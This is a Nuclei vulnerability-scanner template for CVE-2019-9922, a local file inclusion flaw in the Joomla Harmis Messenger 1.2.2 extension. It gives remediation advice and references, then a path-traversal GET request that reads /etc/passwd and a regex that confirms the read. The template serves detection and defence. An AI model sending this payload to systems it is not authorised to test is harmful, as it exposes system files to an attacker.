nuclei-templates/http/cves/2019/CVE-2019-9922.yaml

45 lines
1.5 KiB
YAML

id: CVE-2019-9922
info:
name: Joomla! Harmis Messenger 1.2.2 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Joomla! Harmis Messenger 1.2.2 is vulnerable to local file inclusion which could give an attacker read access to arbitrary files.
remediation: |
Update to the latest version of Harmis Messenger (1.2.3) or apply the patch provided by the vendor to fix the LFI vulnerability.
reference:
- https://github.com/azd-cert/CVE/blob/master/CVEs/CVE-2019-9922.md
- https://extensions.joomla.org/extension/je-messenger/
- https://nvd.nist.gov/vuln/detail/CVE-2019-9922
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-9922
cwe-id: CWE-22
epss-score: 0.01171
epss-percentile: 0.83378
cpe: cpe:2.3:a:harmistechnology:je_messenger:1.2.2:*:*:*:*:joomla\!:*:*
metadata:
max-request: 1
vendor: harmistechnology
product: je_messenger
framework: joomla\!
tags: cve,cve2019,joomla,messenger,lfi
http:
- method: GET
path:
- "{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 490a0046304402201a3a2e0f63611da1c69230df6d19602b43bf2c68f1ce515ee9047192a7c7a7bc022008b11d7be3f944ef392e6f5d7d4caaf2e73099f9eea9b9a328130dbd6383c0d2:922c64590222798bb761d5b6d8e72950